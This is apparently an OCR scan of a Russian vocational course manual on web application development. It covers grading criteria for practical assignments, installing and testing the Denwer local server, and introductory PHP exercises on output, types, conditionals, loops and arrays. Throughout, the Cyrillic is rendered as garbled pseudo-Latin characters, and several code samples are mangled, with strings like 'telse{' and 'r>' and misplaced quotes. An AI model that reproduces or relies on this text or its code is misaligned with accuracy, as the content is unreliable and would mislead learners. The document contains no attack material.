I1K 9.7 OcymiecTBiATh COOp CTATHCTHYECCKOW MHGPOPMAIMKM O pab0Te BEO-TIPUIIOKEHUN TS
aHanmn3a 3QHeKTUBHOCTH ero padoThI

I[IK 9.8 | OcymecTBiasaTh ayauT ©O€30HaCHOCTH BEO-NPUIOXKEHHS B  COOTBETCTBUU C
perinaMeHTaMy o 6e301acHOCTH

I[IK 9.9 | MonepHusupoBaTh BEO-NPHWIOKEHHE C YYETOM HpPaBWI U HOPM TMOATOTOBKU
nH(GOpPMaLIMU JJIsl IOMCKOBBIX CUCTEM.

ITIK'9.10 | Peasin30BBIBATH MEPONIPHSTHS IO MPOJIBHKEHUIO BEO-TIpUII0KeHU B cetu MIHTEepHET




2 KoHTpOoJIb ¥ OlleHKA BBINOJHEHNUS] MPAKTHYECKUX PadoT

Ilo KaXXIAOMY IMPAKTUYCCKOMY 3aJIaHUIO 06yqa101111/1i/’1cs1 BBITIOJIHACT OTYET B 3JICKTPOHHOM BHUAC, B KOTOPOM

npeaACTaBIACT PE3YJIbTAThI

BBIIIOJIHCHUA IMPAKTHYCCKOI0 3adaHusl — CKPUHIOOTBI PCE3YyJIbTATOB, KO

pa3pa6aTHBaeMHx MMporpaMMHBIX HpI/IJIO)KCHI/If/'I, OTBCTHI HAa BOIIPOCHI 3a/IaHHBIC ITPEIIOAaBaTCIICM.

Kpurepun onieHkn npakTuyeckux pador

Onenka

Kpurepun

IIpumeyanu
s

«OTIaHO»

OTueT BHIMOJIHEH OOYYAIONIMMCSI CaMOCTOSITEIIBHO U B
noTHOM 00BeMe, OQOpMJICH B COOTBETCTBHH C
TpeboBaHusiMHu.  [IpencraBiieH  yCTHBIA — JOKJIAJ,
OTPAXAlOIIU  OCHOBHBIE  IOJIOKEHHUSI  OT4ETa U
pexoMeHaanuu. OTBETH HA BOIPOCHI BEPHBIC U MOJTHBIE.

«Xopouio»

OTyeT BBINONMHEH OOYYaIOIMIMMCS CAMOCTOSITEILHO U B
MOJITHOM 00BeMe, COOIOJICHBI OCHOBHBIE TPEOOBAaHMS K
O0(OPMIICHHIO OTYETa, UMEIOTCS OT/ICIIbHBIC 3aMEYAHUS
HEIOCTATKHU. [Ipencrasnen YCTHBIN JOKJIaJ,
OTPaXAIOIIUA  OCHOBHBIE  TIOJIOKEHHUS  OT4eTa W
pexoMeHanuu. OTBETHI HA BOMPOCHI BEPHBIC U MOJHBIC,
Opyd  3TOM  JIONMYIICHBI JBE-TPU  HECYIIECTBEHHbIC
OIIINOKHU, HCIIpaBJICHHBIC o TpeOOBaHUIO
Perno/iaBaTelsi.

«Y 1OBIETBOPH
TEJIbHO»

OTder BBIMOJNIHEH OOyYarOIIMMCA B TOJHOM OOBEME,
coOnrofieHbBl  0a30BbIe TPEOOBAHWS K BBHITIOJHCHHUIO H
0 OpMIICHHUIO oTuera. Nmerotcs JIOCTATOYHO
CyIIECTBEHHBIC 3aMEYaHHs M HEIOCTaTKH, TpeOyroiue
3HAQUUTENBHBIX 3aTpaT BpPEMEHHM Ha MCIPABIICHHE.
[IpencraBnen yCTHBIA AOKJIAJ, OTPaKarOIIH OCHOBHBIC
noJyioxkeHus: oryeta. OTBETHI HA BONPOCHI BEPHBIE, HO HE
MOJIHBIC, TPU  OTOM  JONYIICHH  OIMWOKW, HE
UCIpaBJieHHbIE M0 TPeOOBAHUIO MIPETOAABATETIS.

«Heynosnerso
PHUTEIBHO»

OTyeT BBITIOJIHEH HE B MOJTHOM o0BbeMe, 0ohopmMIICHHE HE
COOTBETCTBYET TpeOOBaHUAM. Nmerotes
MHOTOYHCJICHHBIC  CYIICCTBEHHBIC  3aMEUaHHs |
HEJIOCTaTKH, KOTOpbhle€ HE MOTYT OBITh MCIIPABICHBI.
VYerHbllt 1oknaa He npeacraBieH. OTBEThl Ha BOIPOCHI
HE BEPHBIE.




3 IlpakTnyeckue 3aganuda no gucuumianae MAK. 09.01 «IIpoexkTupoBanue u
pa3padoTka BeO-npHJI0KeHU»

3.1 IIpakTnueckue 3aganus no reme «Ocuossl PHP u MySQL»

IIpakTnyeckoe 3axanue no reme « OcHoBbl PHP» Ne 1 «OcHOBHbBIE yHIpaBJ/isitoniue KOHCTPYKIIUU
PHP»
[{esb 3aHATHUS: OCBOUTH OCHOBHBIE OTIEPATOPhI si3biKa ciieHapueB PHP
[TpakTueckas paboTa paccuntana Ha 4 aKaJeMHUYECKUX Yaca.

IloaroTroBKa K NpaKTHYECKOM padoTe:

1.0O3HaKOMUTBCS C JEKIIMOHHBIM MaTepuanoM 1o teMe «OcHoBbl PHP» yueOHoM auctummuns! "S3bik php".
(Jlexuus 1)

2. 3amycTUTh YCTAaHOBJIEHHBIM Ha KOMIIbIOTEpE MakeT Denwer, COrlacHO MHCTPYKIMK NPUBEACHHOMN HIKE.
[{enkaiiTe Mo co3maHHOMY MHCTAIUISATOPOM sipiibiky Start Denwer na PaGouem crosne, a 3atem,

JOK/IaBIIUCh, KOT/Ia BCe KOHCOJIbHBIC OKHA UCYE3HYT, OTKphIBaiiTe Opay3ep 1 HaOHpaiTe B HEM
anpec: http://localhost/denwer/. BerxoauTts 3 HTEpHETA ITPHU 3TOM HE 0053aTEIBHO.

4 3% Ypa, 3apatorano! | | fi v E) = &% = -rCTpadmua = (3 Cepavc >~

¥pa, 3apadorano! . ﬂ

=

FedepambHpili  cOOHCOP Tpoekta eHRep —  XOCTHHI- u
opoeafinep MNetRu Ecmn nocnme paGotel ¢ [enBepoM BBl
TANOTHTE pAZMECTHTE cAlT B IIHT(‘[}H(‘T?. MEI MOEeM NOpPeROMeHTORATE
ANA 9TOre cepeesHbli, npodecHONAILHBIN XOCTHHT 0T CHOHCOPA
npoekta Jempep — wommammn Net.Ru Ha Beex tapndmbr nnanax
noanepameartea: Perl, PHP4 n PHPS, ISP, MySOL, PostaeSOL, Euly,
Ruby on Rails. SSH-qoctyn & caiity n 1.1

Ecmi Bam Hy:&eH Hemoporoil, mpodieccHOHAMBHBIN XOCTHHT, BBl MOGKETe -

L P Taetd e P L L L e L e Chasdmod van

x & J MeCTHaA MHTpaceTE 1005 -

Hexoropsie OC umeroT 0ObIKHOBEHHE ITpH MepBoM 3ammycke Internet Explorer-a Bei3biBaTh MacTtep
noaK/I0YeHus1. Eciy 3To mpou3onuio Ha Balieil MalHe, IPUKaXUTe rope-MacTepy «OTBATUTHY —
SIKOOBI, BBI YK€ HACTPOWJIM MOJKIIOUYEHUE CAMOCTOATENIBHO.

Ecau TecToBas CTpaHUIIa BCC K€ HC 3arpy3uTcCs, IIPpOBEPHTE:

e OTKIIOUEH JIU y Bac MPOKCH-CEPBEP B HACTpOIKax Opaysepa.

o 3anyueH s Jleuep? Eciu aa, HET 1 olIMOOK MU LIEITYKE HA TMKTOTpaMMe Iepa (crpasa BHU3Y)?

e He 3amymien i y Bac kakoii-to apyroid Web-cepBep, koTopsiii Mmemraet [[enBepy (dyacto ObIBaeT B
Windows XP)? Hanpumep, Microsoft IIS? Eciu na, oTkimo4nre ero.

JlenBep mnporien TecTupoBanue B ciaenyromux OC:

e Windows 95/98/ME;
e Windows NT/2000/XP/2003;
e Windows Vista, Windows 7.



. TecTroBble MpOBEpKHU

Ha ctpanune ¢ angpecom http://localhost/denwer/ uMeroTCsi CCHUIKY MO3BOJISIONINE TPOBEPUTH
paboTOCIIOCOOHOCT OT/ICTHHBIX KOMITOHEHTOB TMAKETa «JICHBEP
[Toxanyiicta, caenanTe Takyr MPOBEPKY Mepea HadajaoMm padoTsl!!!

Bun crpanunsl Ha http://localhost/denwer/.

VYpa, 3apaborano!

I'enepanbHblii cioHcop mpoekTa JlenBep — xoctuHr-mposaiiiep Net.Ru. Ecnu nocne pabots! ¢ JlenBepom
BBl 3aXOTHUTE pasMecTUTh caT B MHTepHeTe, MBI MOXEM IOPEKOMEHIOBATh Ul 3TOTO CEPbe3HBIi,
npo¢ecHOHAIBHBIN XOCTHHI OT CHoHcopa mpoekta JlenBep — kommanuu Net.Ru. Ha Bcex Tapudnbix

miaHax nomnepxkuBatorcs: Perl, PHP4 u PHPS, JSP, MySQL, PostgreSQL, Ruby, Ruby on Rails, SSH-
JIOCTYI K CAUTy U T.J.

CIABKMAA XOCTIHT
Wi, ino.ru

giumno
XocTuHT «/[>KMHO» — 3TO BO3MOXXHOCTbH OILUIAYMBATH TOJIBKO T€ YCIYTH
XOCTUHIa, KOTOpble HEOOXOAUMBI MIMEHHO BaM, HHe MepeIiavyuBaTh 33 HEHYXKHOE.

[Tonck mo noxkymenrtanuu B UnTepHeTe

B cocraB JlenBepa He BXOAUT AOKYMEHTAIMs K KOMIIOHEHTaM, T.K. OHA CIHUIIKOM OBICTPO yCTapeBaer.
BmecTo 3TOro BBl MOXKETE BOCIIONB30BAThCS aIaliTUPOBaHHON (opmoii moucka. [Tocne naxkatus Ha Enter
OHa cama TepeasipecyeT 3arpockl Ha HEOOXOAUMBIE CAMTHI.

PHP
MySQL
Apache

Perl
PostgreSQL

TectupoBanue Jlensepa

HacrosaTenpHo pekoMeHayeM MpoBEpUTH pabOTOCIOCOOHOCTh cepBepa MpU MOMOIIM CIEAYIOUINX Janee
CCBLJIOK.

URL Onucanue
https://subdomain.localhost/ssl.php [TpoBepka SSL
http://subdomain.localhost/ [TpoBepka "He-MHTEpHET" TOMEHOB BTOPOTO

ypOBH3, a Takxke SSI

http://testl.ru/ [TpoBepka "MHTEpHET"-TOMEHOB BTOPOTO
ypoBHS: testl.ru
(BHAYaJIe OTKIIIOYUTE IPOKCHU-CcepBeEp!)

http://subdomain.test1.ru/ ITpoBepka "MHTEpHET"-1OMEHOB TPETHETO
YPOBHS

http://localhost/Tests/phpnotice/ [Tposepka nepexBara PHP Notice B JlenBepe

index.php

http://localhost/Tests/PHP5/index.php5 | PHPS5 information



http://www.denwer.ru/redir?aHR0cDovL3d3dy5qaW5vLnJ1Lz9wYXI9ZGVud2VyXw

http://localhost/Tools/phpMyAdmin ITpoBepka MySQL u phpMyAdmin

http://custom-host:8648 [TpoBepka xocra ¢ aApyrum [P-anpecom u
noptom (127.0.0.2:8648)

B Windows XP SP2 umeemcs owubka, us-3a
KOMOPOU OaHHbILL XOCH MOXCem He pabomama.
Oduyuanvuyro "3anramxy" om Microsoft
Kayaiime30ech.

http://localhost/Tests/sendmail/index.php | [TpoBepka oTnamounHo¥ 3armymkn st sendmail

Pa6ora ¢ lenBepom

Urak, 3axoqum Ha nuck Z, 31ech HAC MHTEpecyeT nanka home, oTKkpeIiBaeM 3Ty Ianky, gajiee
oTkpbiBaeM nanky localhost u oTKpeIBaeM ClIEAYIONIYIO MTANIKY WWW.

B anpecHoii ctpoke y Bac gomken ObITh BOT Takoil aapec: Z:\home\localhost\www u yxe 31ech
€03/1aeM OT/AeJbHYI0 NANKY /JIs HOBOIO caiiTa.

Oo0pamar Bame Buumanne! Bece HOBbIe MaNKH 1JIsl Pa3HBIX POEKTOB (YUTAl CATOB) CO31AKOTCS
HMEHHO B IaIIKe WWW - 9TO BasKHO!

st onpenenéHHOCTH OTKPBIBAEM NTAIIKy WWW M CO3Ja€M 31€Ch JUIsl HAIMX TPEHUPOBOK

nanky myphp. 1o u 6yaer Ham TecToBbli caiiT Ha JlokaabHOM cepBepe /151 TPEHUPOBKH M PadOTHI ¢
PHP. ITanky myphp co3naém 10 3amycka cepBepa - 3TO TOKe Ba’KHO.

!!!'(3ra manka y Bac y:xe ecTb!!!!

Ms1 yxe co3nanu php-daiin ¢ HazBaHreM name.phpu Hanvcanu TamM MPOCTeHbKHA Koa. CKONMpYyHTe 3TOT
¢aiin u nonoxute B manky myphp. !!!!(3Tor daiin Tam yixe ectn!!!!)

Teneps oTkpbIBacM Opay3ep U B aIpeCHON CTpOKE HabMpaeM aipec HOBOTO CaiiTa U MOJHBINA MYTh J0
3amyckaemoro ¢aiina (¢ KoTopsiM Bel paboTaere B TaHHBIIF MOMEHT), B HaIllEeM CJIydae TOT IyTh OyIeT
BBITJIAAETH BOT Tak: http://localhost/myphp/name.php u naxxumaem Enter.

Ecnu Bl Bce cnienanu npaBuiibHO, TO Ha MOHUTOpE (B Opay3epe) Bbl yBuauTE BOT TaKyl0 KapTUHKY
(pparment):

,f,:' Mepsoiid PHP dain - Windows Internet Explorer

m—
@ ey - I: ktp: fflocalhost ! myvphp/name. phpl

dafn  Mpaeka Bua  MeBpshHoe  Cepewc  Cnpaska
x @Page Promoterl LI A vandex - =F

0 MsBpanroe M nooe G pHD darin

IIpueer, mens s308vT Hean

Ilo3apasasito, Bel Hayunimch 3anmyckathb Qaiasl nox leHBepom, T.e. padoratb Ha JlokajabHOM
cepsepe! TakuM sxe 00pa3om OynyT 3aITycKaThCsl M TECTUPOBATHLCS BCE Mocie yromuil php-daiiis.

Teneph KIMKHUTE MTPAaBON KHOMKOW MBIIIH M U3 BBITIABIIETO criucka BeiOepuTe myHKTIIpocMoTp
HTML-kozaa, BoT yTo Bbl yBUMTE:



i

FE<!DOCTYPE HTML PUELIC "—//W3C//DTD HTML 4.01 Tran:
Srhttp: /S www, w3 org/ TRAhtmld/ loose, dod™s>

El<htmls>

i_'—|]<head>
<meta http-equiv="Content-Type" content="text/htm
<title>llepprii PHP dain</titlex

r </ head:>

H<body>
=
IipseeTr, MeHa SoeyT Heanm

F</hody>
-</htmls>

Oopamar Bame Buumanue, yro Bel Buaurte npocro Haanuck: Ilpuser, Menst 30ByT UBaH u
HHUKAaKuX php-BcTaBoK. DTO 3HaYUT, YTO YCTaHOBJICHHBIN Ha Bamem komnbroTepe JIokanbHBINA cepBep,
obpaboran Bech PHP kox u BeIman yxe rotoBblit pe3ynpTar B Bue npoctoro html-koxa. TouHo Tak ke

npoucxoaut oopadorka php-daiiioB u Ha peajbHOM cepBepe B UHTepHeTe.

Kak emnie moxxHo nponucats caidT B JlenBepe?

NHorna MoHO BCTPETUTh PEKOMEHIallNU IIPONMCHIBATH HOBBIE CaliThl B JleHBepe cpa3y B manke home.
311eCch MEXAaHU3M BBIMVIIIUT TaK K€, CO3JaéM MKy WWW, a y)Ke B HEH co31aéM Marky AJi1 HOBOrO

caura.

Ho Torna y»e npu OTKpbITUM HOBOTO caiiTa moJi JleHBepoM My Th OYyJET BHITIIAETh HECKOIBKO T10

JIpyromy, BoT Tak: http://myphp/name.php , 1.e. kak u B UntepHere.

3aganus:
Ynpaxuenne 1: [lepsasa nporpamma na PHP

B sToMm ynpaxnenuu Bel Hanumute nporpammy “Hello, world!” Ha si3bike
PHP

<BODY>

<?PHP

echo "Hello, world!";
r>

</BODY>

3. CoxpaHuTe clieHapHii B Marnky caiita
4. IlpoBepbTe pe3ynbTar B Opaysepe

[Tpu nmpocmoTpe pe3ynbraTa BeinonHeHus Qaiina hello.php B 6payzepe
npocmotpute html-xon (Hanpumep, B IE mento Bun — IIpocmorp HTML-koa).
OOparuTe BHUMaHUE Ha TO, YTO php-KoJia Ha CTPAHHIIE HET — 3TO 3HAYHUT, 4yTO php-
crieHapuii 0T 00paboTaH cepBEpOM, MTOCIIE Yero cepBep mepenai B Opaysep
pe3yabTaT 00paboTaHHOTO php-cLieHapus.

Ynpaxuenne 2: [Ipocreiimue nporpamvsl Ha PHP

Jlanee npeacTaBIEHbI TONOJHUTEIbHBIE YIPAXHEHWS 171 3aKPEIUICHUS

HABBIKOB CO3JIaHUs IpocTeiux nporpamm B cpee Adobe Dreamweaver Ha s3bike
nporpammupoBanust PHP. Jlns ux Beimonxenus B Adobe Dreamweaver co3naiite
HOBBIH .php daitn (Paitn — Coznats — BeiOpats tum aiina .php) examples.php

Y BBINOJHUTE NIPEVIOKEHHBIE AaJIee 3aJaHUs.

1. ITepemennoii $a HeoOxoanMO TprcBONTh 3HaueHue 10, mepemenHoi $b
npucBoUTh 3HaUeHue 20. BeiBenuTe 3HaUEHUS] IEPEMEHHBIX Ha SKPaH.
2. 3aTeM nepeMeHHOH $¢ PUCBOITE 3HAYCHNE CYyMMBI ATUX IEPEMEHHBIX



(mepemenHoii $a u nepemennoit $b). BeiBeanuTe 3HaueHNe nepeMeHHOI $¢ Ha
9KpaH.

3. Jlanee yBenuubTe 3HaYCHUE NTepeMeHHON $¢ B Tpu pa3a u BeIBeaANTE
MOJTYYCHHBIH pe3ysIbTaT Ha SKPaH.

4. Paznenute nepemenHyto $c¢ Ha pazHocTh nepemeHHbIX $b u $a, BeiBeUTE
pe3yJIbTaT Ha SKpaH.

5. Beenure HoBBIE IepemenHbie $p u $b. [Ipucsoiite nepemenHoii $p 3HaueHne
«[Iporpammar, a mepemennoii $b 3HaueHme «paboraeT.

6. 3aTeM cJ0XKHTE IIEpEMEHHBIE, coeprkaliye 3TH cioBa («IIporpamma» u
«paboTaeT»), MPH ITOM CIIOBA JIOJDKHBI OBITH pa3aesieHsl mpooerom (¢ ©).
Pe3ynpraT HEOOXOMMO MTPUCBOUTH NepeMeHHOH $result.

7. lanee c MOMOIIBIO OTlepaTopa «.=» He00X0oaAUMO K cTpoke «IIporpamma
paboTaeT» A0OABUT CIIOBO «XOpOLIO». Pe3ynpTar HE00X01MMO IPUCBOUTH
nepeMeHHoit $result.

8. Ectp n1Be mepemennsie: $q = 5 u $w =7. Co3naiite CKpunr, B pe3ynbrare
BBITIOJTHEHHSI KOTOPOT'O 3TH J[BE IIEpEMEHHbIE «OOMEHUBAIOTCS» 3HaUeHUsIMU — 10

nepeMeHHas $q monydaer 3HaueHue 7, nepeMeHHas $w monydaer 3HaueHuUe 5,
NIPU ATOM HE CO3/IaBasi HOBBIX IMePeMEHHBIX (BapuaHT $q =7 u $w =5 He
paccMaTpuBaercs).

Ynpa:xxnenue 3: [Ipocreiimune onepanuun

"1 CpenctBamu PHP BeiBecTH cTtpoky “Hello Bama ®@amwmmums!”. [Tpudém cTpoka moinKHa
OBITh BbIBE/IEHA HAKJIOHHBIM M KUPHBIM mIpudTOM. Tern <b> u <i> ykazatb Bue PHP

Koza.

2. CpencrBamu PHP BriBecTr cTpoky “Hello Bamra @amunms!”. [Ipuuém ctpoka gomkHa
OBITH BBIBEJICHA HAKJIIOHHBIM M KHUPHBIM IpudToM. Tern <b> u <i> ykazaTh ¢
ucnojb3oBanuem PHP kona.

3. Co3znmarp TabaMILy, KapKac JJI KOTOPOW JJaH HUXKE

<table border="3">

<tr>

<td>

</td>
<td>

</td>
</tr>
<tr>
<td>

</td>
<td>

</td>

</tr>

</table>

B kaxnoii saueiike BeiBecTH cpeactBamMu PHP Bamry gamunuio u ums, Ha pycckoM si3bIKe,
py 4€M CTUJIb JTMOO LIBET TEKCTa B KAXKJOU sSUelKe JOJKEH OBITh pa3HBIM.

4. 3aKOMMEHTHPOBATh CO3/IaHHBIN BBIIIE KOJ, UCTIONB3Ys PA3JIUYHBIC THITHI KOMMEHTAPHEB.
echo "D10 Tect"; // ITO OTHOCTPOUHBIN KOMMEHTApUH B CTUIIE CH++

/* DTO MHOTOCTPOYHBIH KOMMEHTaPHMA

elle OJJHa CTPOKa KOMMEHTAPHSI

*/

echo "llocneanuii Tect"; # 910 KOMMEHTapHii B cTiiie 000104k Unix

5. BesBath ¢ynkmnmro phpinfo().



anamneﬂne 4. Ucnojib30BaHHEe OCHOBHBIX onepaTropoB

npugedenue munog

1. Co3nate IepeMeHHYIO $var u Mmocje10BaTeIbHO MPUCBOUTH €l 3HAUCHUSI HMEIOTIHE
CJICTYFOIIINE THIIBI:

® boolean (JTorHYECKHiA)

$var = false;

echogettype($var); // dyHkuus gettype onpenenseT TN mepeMeHHON
e integer (1IeIIbII)

$var=11;

echo gettype($var);

o float (BemecCTBEHHBIN C MJIABAIOIICH TOYKOH)

$var=11.2;

echo gettype($var);

e string (CTPOKOBBII)

$var = “String value”;

echo gettype($var);

2. Ucnionb3oBanue GpyHKIMIA MPUBEICHNS THUIIOB. 3aIlyCTHTh U IPOKOMMEHTHPOBATh
pe3yJIbTAT BBINOJHEHUS CIEAYIOMMX (QYHKIN:

e intval() (mpeoOpa3oBaHKe apryMeHTa K IIeJIOMY THITY)
o echo intval(42) ." <hr>";

o echo intval(4.2) ." <hr>";

o echo intval('42") ." <hr>";

o echo intval('+42") ." <hr>";

o echo intval('-42'") ." <hr>",

o echo intval(042) ." <hr>";

o echo intval('042') ." <hr>";

o floatval() (mpeoOpa3oBaHue apryMeHTa K THITY «C TUTABAOIICH TOYKO»)
o echo floatval('122") ." <hr>",

o echo floatval('The'") ." <hr>";

o echo floatval('122.34343") ." <hr>";

o echo floatval('122.34343The'") ." <hr>";

o echo floatval("The122.34343") ." <hr>";

o echo floatval('122.The34343") ." <hr>";

o strval() (mpeoOpa3oBaHue apryMeHTa K CTPOKOBOMY THITY (String))
o echo strval(122) ." <hr>";

o echo strval(122.01) ." <hr>";

o echo strval(0x122) ." <hr>";

o echo strval(0122) ." <hr>";

e settype() (ycTaHOBKa apryMeHTa 3aJIaHHOTO THUIIA)
$foo = "5bar"; // string

$bar = true; // boolean

settype($foo, "integer"); // $foo is now 5 (integer)
settype($bar, "string"); // $bar is now "1" (string)

Onepayuu c n102udecKuMu nepemeHHbIMuU
1. 3amycTUTh U TPOKOMMEHTUPOBATD CJICIYIOIMINI KO

if(TRUE){
echo "TRUE is true<hr />";



telse{
echo "TRUE is flase<hr />";

}
if(1){

echo "1 is true<hr>";
telse{
echo "1 is flase<hr>";

}

if(0.0){

echo "0.0 is true<hr>";
telse{

echo "0.0 is flase<hr>";

}
i)

echo "\"\" is true<hr>";
telsed
echo "\"\" is flase<hr>";

}

Onepauuu c uejbimu wuciaamu

1. BBIOJIHUTE CIIEAYIONIKE ONEPALMH C LEIBLIMU YHCIaAMU
$a=3;

$b=12;

echo '<br>$a='.%a;

echo '<br>$b=".$b;

$c = $a+$b;
echo '<br>$a+$b="8c;
$c = $a-$b;
echo '<br>$a-$b="$c;
$c =$a*$b;
echo '<br>$a*$b="$c;
$c = $a/$b;

echo '<br>$a*$b="$c;
Onepayuu co cmpokamu

1. 3amycTUTh U IPOKOMMEHTHPOBATH PE3YJIbTAT BBHITIOJTHEHUS
$expand = “EXPAND”;

$either = “EITHER”;

echo "aTonpocTasictpoka';

echo 'Tax)xe BbI MOKETE BCTABJIATh B CTPOKH

CHUMBOJI HOBO CTPOKHU TaKUM 00pa3om,

MOCKOJIBKY 3TO HOPMAJIBHO',

echo 'Onmnax et Apraonbn ckazan: "I\'ll be back™';

echo 'Ber ymamumm C:\\* *7?';

echo 'Ber ymamumm C:\* . *7';

echo 'DTo He BCTaBHT: \n HOBYIO CTPOKY';

echo 'Tlepemennnie $expand tarxxe $either He moacTaBstOTCS ',
echo “Tlepemennsnie $expand taxke $either moacrapistores. [Touemy?”;
echo $expand + $either;



IIpakTnyeckoe 3aganue nmo reme « OcHoBsl PHP» Ne 2 «OcHOBHBIE ynpaBJIsiloIe KOHCTPYKIIUH
PHP»
[{eab 3aHATHSA: OCBOUTH OCHOBHBIE YIIPABIAIOIINE KOHCTPYKIIMK sA3bIKa cueHapues PHP
[IpakTnueckas paboTa paccuuTaHa Ha 4 akaJeMHUYECKHX Yaca.

IToaroToBKa K NpaKTHYeCKOH padoTe:

1.0O3HaKOMMTBCS C JEKIIMOHHBIM MaTepuanoM 1o teMe «OcHoBbl PHP» yueOHo# auctummuns! "S3b1k php".
(Jlexuus 1,2)

2. 3amyCTUTh YCTAHOBIIEHHBIN Ha KOMIIBIOTEpE MakeT Denwer

3amanus
1. BriBecTH pe3ysibTaT BHIIOJIHEHUS CIIETYIOUIUX BhIPAXKEHUN:
1+5*3
1+5*3
(12+13)-(4+6)
12+13-4+6

IIpumep xemaeMoro BbIBOJA:
1+5*3=16

Onepamopui
1) if

a) Brauane 3amaTh 3HaYeHHEe IepeMeHHOo $name. HamcaTts nmpoBepky e€ 3Hauenus. Ecinu B $name
cozepxut ums “John” BeiBecTu cooOmienue «IIpuser Jxou!»

0) Jlo6aBuTh epeMeHHYI0 $num, IPUCBOUTH €if 3HaUeHHE 5.
Crenath CIIeIyIONIYIO TPOBEPKY: €CIIK IIepeMeHHas $name coaepkut ums “John” u mepemeHHas $num
COJZIEP’KUT 5 BBIBECTH COOOIIEHUE: «BCE npaBuibHO! J[oHY 5 1e1»

B) JlopaboTats npeapiayiee 3aaanue. Crenath cleayromyto MPoBEpKY: €CIi XOTs Obl B OJTHON U3
nepeMeHHbIX ($num mim $name ) comepxkutcs ums “John” BeiBecTH coodmenue: «Mpr Hanwti [[xoHa!! !

2) else
a) Jlopaborath npeaplIyliee 3aiaHle, TaK 4YTOOBI B CITydae, eciii B $name conepkutcs He «Johny BbIBECTH
“ITpuBercTByro Hesnakomen™.

0) JlopaboTath mpeapayIIee 3a/lanue Tak 9ToOkl B cliydae, eclid $name He cofepkuT “John” mmu $num He
COJZIEPKUT S5 BbIBeCTH coolIeHne «Bo3mosxuo 1o He [xon! Mnu tebe He 5 net!!»

B) JlopaboTath mpenpiayIiee 3aJjaHue Tak 4ToObI B clIydae, €CITU HU OJHA U3 UMEIOIUXCS IEPEMEHHBIX He
conepxuT 3HaueHu# “John”u «5» BeiBecTH coobmenue «f 3uaro! Twl Touno He J[>koH u Tebe He S eT!»

3) elseif
a)3aBecTu MaccuB $names, copepkaniuii aneMeHTsl “John”, “Bill”, “Sam”.
BrIOpath 0/TMH 13 2JIEMEHTOB MacCcHBa U 3alucaTh €ro 3HaYeHUe B epeMeHHyto $name. [IpomsBectn
npoBepky $name Ha umena “John”, “Bill”, “Sam”. Takxe, B ciy4ae OTpHIATEIHLHOTO PE3YJIbTaTa BHIBECTH
“ITpuBercTByro Hesnakomen™.



0)[IpoBepuTh KaXIbIi 3JIEMEHT MaccuBa $names Ha uMeHa “John”, “Bill”, “Sam”. B xax oM ciryuae
BBIIATh COOOIIEHNUE, cojiepKaliee HHPOPMAIIUIO O TOM KTO Ha KAKOM MECTE HaXOJUTCS B CITHCKE.
Hanpumep: «/[xoH Ha mepBom Mmecte, bumt Ha BTopoM MecTe, CaM Ha TPEThEM MECTE»

4) IUKJIBI
1. ¢ nomompto nukia while pacneuatats 10 pa3 cTpoky «3apaBcTBYd MUp!»

2. BeiBecTu nocneaoBaTeabHo yucia ot 1990 no 2007 ucnons3ys muki while.

3. BeiBectu Bce HeueTHbIe unciia oT 19 no 200 ucnons3ys nukia while. Yucna Ha cTpanuie JOJKHbBI
pacrojaraTeCsi B CTOJIOHUK.

4. Haittu cymmy niepBbix 100 yrcen ¢ momoibto 1ukia do-while

5. BeiBecTr nmocnenoBaTesbHO B cTpoke unciia oT 0 10 18 u B Ipyroit cTpoke uucia nociaeaoBaTesbHO OT 18
1o 0. Ucnmonp3oBath UK for

IIpakTuueckoe 3axanue no treMe « OcuoBbl PHP» Ne 3 ««MaccuBb»»

Ileab 3aHSATHA: OCBOUTH OCHOBHBIC IMPpHUCMbI pa6OTBI ¢ maccuBamu B PHP
HpaKTI/I‘IeCKaH pa60Ta pacCuuTaHa Ha 4 AKaJCMHUYCCKHUX Yaca.

IloaroroBKa K NpaAKTHYECKOM padoTe:

1.O3HaKOMHUTHCS C JIEKITMOHHBIM MaTepuanoM 1o teme «OcHoBsl PHP» yuebHoi nuctiummuast "A3b1k php'.
(Jlexuus 1,2)

2. 3amyCTUTh YCTaHOBIICHHBIN HA KOMIIbIOTEpe makeT Denwer
3amanuda

1. Coznmath MaccuB $arr, cocTosmmii U3 4-X IPOU3BOIBHBIX SJIEMEHTOB ABYMSI CIIOCOOaMHU:
a)TIEPEUNCIICHUEM DJIEMEHTOB B KBaJIPATHBIX CKOOKAX;

0)yKasbIBasi B KBaIpaTHBIX CKOOKaX 3JIEMEHTHI ¥ X KITFOUH.

3aTreM BBIBECTH COACPKUMOE MAacCCHBA BMECTE C KIIFOUaMHU.

2. Coznate MaccuB $arr, coctosimuii U3 4-X nenbix yucen. [Iponssectu crienyromue AeHCTBUA:
N00aBUTh B MacCUB JBa JPYTUX LEJbIX YKCIa, CTPOKY «VBaH» U BemecTBeHHoe yncio 1,25
Pacneuarate 1mosy4eHHBIM MacCUB BMECTE C KIIFOUAMH.

3. Coznath maccuB $oll, Takum o6pazom, uto 0-if anemMeHT paBeH cTtpoke «lIpuBer», a 4-bIil 371eMeHT paBeH
ctpoke «Mup!». Jlo6aBuTh B MaccuB 1-bIii, 2-0#f U 3-Hii 37IeMEHTHI (JTI00BIE).
Pacnieuarate 2-0¥ 1 3-Mii 2J1€MEHTHI IOJYYEHHOIO MACCHBA.

4. B MaccuBe U3 MpEbIAYIIEro 3a/JaHus yIAIUTh |-bIi, 2-0i U 3-nid 31eMeHThl. PacnieyaTaTh mosy4eHHbIN
MacCHUB JBYMS CIIOCOOaMH — &) BEIBECTH TOJIBKO COJIEP)KMMOE MAacCHBa,
0) BBIBECTH COAECPKHMOE MacCHBa BMECTE C KIIFOUaMH.

5. [lepenHaexcupoBaTh MacCUB, U3 MPEIBIYIIETO 3aJaHus. 3aTeM pacredaTaTh HOJy4YeHHbIH MacCUB
JBYMS CIIOCOOaMHM — a) BBIBECTH TOJIBKO COJIEP’KUMOE MacCUBa;
0) BBIBECTH COAECPKHMOE MacCHBa BMECTE C KIFOYaMH.



Kpartkas cnpaBouHasi unopmauus no padore ¢ maccuamu B PHP

Kak co3gaTs maccuB?

1. ¢ MOMOIIBIO CITY’KEOHOTO CIIOBA «array»

IIpumep:

<?php

$num=array(7,0,4,6);

7>

31ech Mbl o3I MacCUB $num, conepkaiiuii 4 3j1eMeHTa. DIeMEHThI MaccuBa Oy IyT HyMepOBaThCs C
uyss. To ectb: $num[0]=7; $num[1]=0 ;$num[2]=4; $num|[3]=6. 4-ro s1memMeHTa B MaccuBe $num moka He
cymiecTByer!

B MaccuB MOYKHO 3aIIMCBIBAThH JIEMEHTBI MPOU3BOJIBHBIX THITOB.
ITpumep:

<?php

